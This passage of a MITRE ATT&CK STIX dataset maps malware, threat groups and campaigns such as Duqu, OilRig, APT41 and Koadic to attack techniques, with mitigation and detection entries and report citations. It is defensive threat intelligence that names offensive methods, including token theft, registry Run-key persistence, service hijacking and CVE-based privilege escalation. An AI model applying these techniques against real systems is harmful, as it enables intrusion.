"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--966ce7a3-4306-4003-89d8-9d6af89a0c2e", "created": "2022-09-23T13:09:53.620Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-23T13:09:53.620Z", "description": "[ccf32](https://attack.mitre.org/software/S1043) can temporarily store files in a hidden directory on the local host.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--a394448a-4576-41b8-81cc-9b61abad94ab", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--966e98f6-1460-4305-8993-57ee3f3f5654", "type": "relationship", "created": "2021-05-03T17:17:12.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Certfa Charming Kitten January 2021", "url": "https://blog.certfa.com/posts/charming-kitten-christmas-gift/", "description": "Certfa Labs. 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(2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.478Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to upload a file from the command and control (C2) server to the victim machine.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--967c7069-6bb3-4f10-ba6b-5befdabe6c97", "type": "relationship", "created": "2019-06-13T16:43:15.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T13:22:16.826Z", "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. Strong passwords should be used on certain encrypted documents that use them to prevent offline cracking through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9684566a-f435-4d5e-a4c0-51c6119eb6fa", "created": "2022-04-11T16:25:37.274Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly executed processes with arguments that can modify property list (plist) files.", "modified": "2022-04-20T22:30:43.354Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf", "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.", "source_name": "Kaspersky Duqu 2.0"}], "modified": "2019-04-24T23:18:53.108Z", "description": "[Duqu](https://attack.mitre.org/software/S0038) examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.(Citation: Kaspersky Duqu 2.0)", "relationship_type": "uses", "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--968911f0-2158-4c76-9fab-562a00ecc418", "created": "2022-09-16T21:48:52.731Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Honeybee", "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T18:48:51.425Z", "description": "During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), threat actors ran <code>sc start</code> to start the COMSysApp as part of the service hijacking and <code>sc stop</code> to stop and reconfigure the COMSysApp.(Citation: McAfee Honeybee)", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9691e661-14fc-4eee-b7d0-14ef24bd6a27", "type": "relationship", "created": "2019-05-02T01:07:36.981Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517", "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}], "modified": "2019-06-12T20:05:18.333Z", "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) collects the IP address and MAC address from the system.(Citation: Cylance Shaheen Nov 2018)", "relationship_type": "uses", "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96934e69-6d38-4ebd-970d-3d9bf88e03e3", "type": "relationship", "created": "2020-05-15T13:43:22.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}], "modified": "2020-05-15T13:43:22.791Z", "description": "[DarkVishnya](https://attack.mitre.org/groups/G0105) used DameWare Mini Remote Control for lateral movement.(Citation: Securelist DarkVishnya Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--969d588f-7357-4349-b158-2bf78704c1b4", "type": "relationship", "created": "2020-07-15T19:18:56.454Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Juniper IcedID June 2020", "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", "description": "Kimayong, P. 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Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) has added persistence to the `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` Registry key.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T15:14:37.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--96a31073-f6b7-463d-9816-d59014ba4adc", "type": "relationship", "created": "2020-09-24T14:35:41.649Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. 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Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-03-29T19:54:46.488Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a SharePoint enumeration and data dumping tool known as spwebmember.(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--972c3c99-a172-4191-a35e-dedef750d36e", "type": "relationship", "created": "2020-10-20T15:47:55.206Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-17T15:59:03.379Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97323d60-9623-4b3e-8ff9-50370fef4e5b", "type": "relationship", "created": "2020-05-11T22:12:28.717Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye MESSAGETAP October 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", "description": "Leong, R., Perez, D., Dean, T. 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Retrieved February 16, 2021."}], "modified": "2021-04-20T19:17:58.209Z", "description": "[BendyBear](https://attack.mitre.org/software/S0574) can query the host's Registry key at <code>HKEY_CURRENT_USER\\Console\\QuickEdit</code> to retrieve data.(Citation: Unit42 BendyBear Feb 2021)", "relationship_type": "uses", "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9", "type": "relationship", "created": "2017-05-31T21:33:27.081Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. 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Retrieved February 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can use a dynamic Windows hashing algorithm to map API components.(Citation: Microsoft Actinium February 2022)", "modified": "2022-08-23T15:25:01.811Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", "source_name": "ESET Sednit Part 1"}, {"url": "http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/", "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.", "source_name": "ESET Sednit July 2015"}], "modified": "2020-03-20T16:40:41.303Z", "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)", "relationship_type": "uses", "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9764e270-8c29-47c1-90c2-31f7d57a17c6", "type": "relationship", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.845Z", "description": "Monitor newly executed processes that may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9767394f-960b-47d4-8123-cfcc5d6ab66a", "type": "relationship", "created": "2020-08-10T13:59:38.621Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-11T20:44:28.054Z", "description": "Consider removing verclsid.exe if it is not necessary within a given environment.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--976a08e5-40b0-4b9f-a453-a1d0b33c3080", "type": "relationship", "created": "2022-03-15T19:56:31.060Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.060Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has compromised legitimate sites and used them to distribute malware.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--976ffdd9-bc86-4bc6-80a0-736705f049f9", "type": "relationship", "created": "2020-10-01T00:56:25.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T00:56:25.256Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", "target_ref": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9774fd36-2d85-4570-9f63-97f2d6c1ca6c", "type": "relationship", "created": "2020-03-27T21:08:25.409Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T21:08:25.409Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9775ca4e-c615-4d54-bf34-fec137933cf6", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatConnect Infrastructure Dec 2020", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"}, {"source_name": "Mandiant SCANdalous Jul 2020", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"}, {"source_name": "Koczwara Beacon Hunting Sep 2021", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]}, {"type": "relationship", "id": "relationship--97775c58-7cb1-46e0-9504-e60a459e44d0", "created": "2019-09-24T12:31:43.687Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.535Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used the Steam community page as a fallback mechanism for C2.(Citation: FireEye APT41 Aug 2019) ", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97784aa6-4d45-4698-9acd-918bb0502e32", "type": "relationship", "created": "2021-11-29T20:52:15.981Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T20:52:15.981Z", "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to pack its payload.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9779ccbc-c376-4a6e-a43f-56a782892302", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike GTR2020 Mar 2020", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"}, {"source_name": "FireEye APT34 Webinar Dec 2017", "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"}, {"source_name": "Unit42 OilRig Playbook 2023", "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.", "url": "https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T20:36:18.317Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used compromised credentials to access other systems on a victim network.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9781e322-a7a6-48c3-9b3c-b30283aa3be2", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor for newly constructed files from a spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97833e2b-ae08-49c9-bc1f-b1ab03f982d2", "type": "relationship", "created": "2021-01-22T15:52:10.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T15:52:10.629Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used the NtdsAudit utility to collect information related to accounts and passwords.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--978d8c12-bf39-440f-ac17-b66970451152", "type": "relationship", "created": "2019-02-18T20:17:17.641Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "source_name": "FireEye APT34 Dec 2017"}, {"description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/", "source_name": "Palo Alto OilRig Sep 2018"}], "modified": "2020-03-18T20:18:02.875Z", "description": "(Citation: FireEye APT34 Dec 2017) (Citation: Palo Alto OilRig Sep 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--978dbb17-c5c5-4248-8385-9dc6f691030b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}, {"source_name": "Unit 42 OilRig Sept 2018", "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}], "modified": "2019-04-24T23:40:23.531Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) can download files from its C2 server to the victim's machine.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)", "relationship_type": "uses", "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "target_ref": 